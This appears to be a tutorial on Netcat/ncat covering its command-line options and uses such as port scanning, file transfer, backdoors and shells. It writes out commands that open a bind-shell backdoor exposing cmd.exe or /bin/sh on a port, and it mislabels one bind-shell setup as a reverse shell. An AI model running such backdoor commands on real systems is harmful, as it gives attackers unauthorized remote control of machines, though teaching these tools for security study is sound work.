**In windows , Install NMAP. It has Netcat also.**

**Netcat : For windws use “ncat” from command prompt for Netcat. For linux use nc instead of ncat.**

* Netcat is a wonderfully versatile tool which has been dubbed the “Swiss army knife”.
* Netcat is a computer networking utility designed to read and write data across both TCP and UDP network connections.
* This dual functionality suggests that Netcat runs in two modes and Netcat is designed to be a dependable “back end” device that can be used candidly or easily driven by other programs and scripts.
* It is a feature-rich network debugging and investigation tool since it can produce almost any kind of connection its user could need.
* Modern Unix-based systems include Netcat as part of their default command set.
* Its list of features includes port scanning, transferring files, and port listening, and it can be used as a backdoor.
* Netcat works with several options.

However, the following is a common Netcat syntax: **ncat [options] [target system] [remote port]**

where target system is the hostname or IP address to connect to and remote port is either a single port, a port range, or individual ports separated by spaces, depending on the desired behavior.

**Command-Line options**

**-l**

* This option tells the Netcat to be in listen mode.
* This binds Netcat to a local port to await incoming TCP connections, making it act as a server.

**-u**

* This shifts Netcat from default TCP mode to UDP mode.
* This tells Netcat to bind to a UDP port instead of a TCP port.

**-e**

* This tells what operation to perform after a successful connection.
* This option causes a listening Netcat to execute command any time when someone makes a connection on the port to which it is listening.

**-p**

* Used to mention port.

**-z**

* Tells netcat to send only enough data to discover which ports are open.

**-v**

* Tells netcat to provide detailed reports, otherwise it reports only the data it receives.

**-i**

* It specifies the delay interval that Netcat waits between sending data.

**-n**

* Tells Netcat to forego hostname lookups and if we use this option, we must specify an IP address instead of a hostname.

**-s**

* Specifies the source IP address Netcat should use when making its connections.

**1.9.2 Uses of Netcat**

Netcat can be used for many purposes. It has a number of built-in capabilities.

1. Data Transfer
2. Perform basic Port Scanning
3. Relays
4. It can Create a backdoor
5. Reverse Shells
6. Obtain Remote Access to a Shell
7. Perform port listening and redirection etc.

**Data Transfer**

* Netcat can be used to transfer files between systems.
* Data transfer can be done in two ways. From a listener to client or client to listener.

**Perform Basic Port Scanning**

* It can perform simple port scans to easily identify open ports.
* This is done by specifying a range of ports to scan, along with the z option to perform a scan instead of attempting to initiate a connection.

The basic command line for Netcat is **ncat [options] host ports**

* Here host represents the hostname or IP address to which the connection is to be done.
* Ports represent either a single port or a port range in that particular host.

Example: **ncat -z -v domain.com 1-1000** **or**

**ncat-z -n -v 198.51.100.0 1-1000**

**Create a backdoor {Windows cmd on Kali}**

* Netcat’s most popular use by malicious users is to create a backdoor login shell.
* This simple script below will create a backdoor.

**At listener: ncat –vlp 1234 –e cmd.exe {Run on windows}**

**At client: nc –vv 127.0.0.1 1234 {Run on kali . Give IP of windows}**

**This will give windows cmd to Kali.**

* –e is being used to execute the action after the connection is being established.
* In Linux, these backdoors can be made persistent which means even after the current user logged out, the backdoor will keep running in background.

**Reverse Shells { Kali shell on windows}**

* Netcat can also be used to push a client session from the client to the server. This technique is called a reverse shell and can be achieved with following commands

**At listener Kali: nc –vlp 1234 –e /bin/sh**

**At client windows : ncat –vv Kali\_IP 1234**

**Obtain Remote Access to a Shell**

* To get command prompt of a Windows system from anywhere in the world, the following netcat command can be run on that particular Windows system.

**nc -l -e cmd.exe 10.0.1.2 4455**

* The above Ncat example has opened a listener (-l) that will execute (-e) the cmd.exe command and attach the command prompt input/output to any connection on port 4455.
* This can behave like a system backdoor on the Windows system.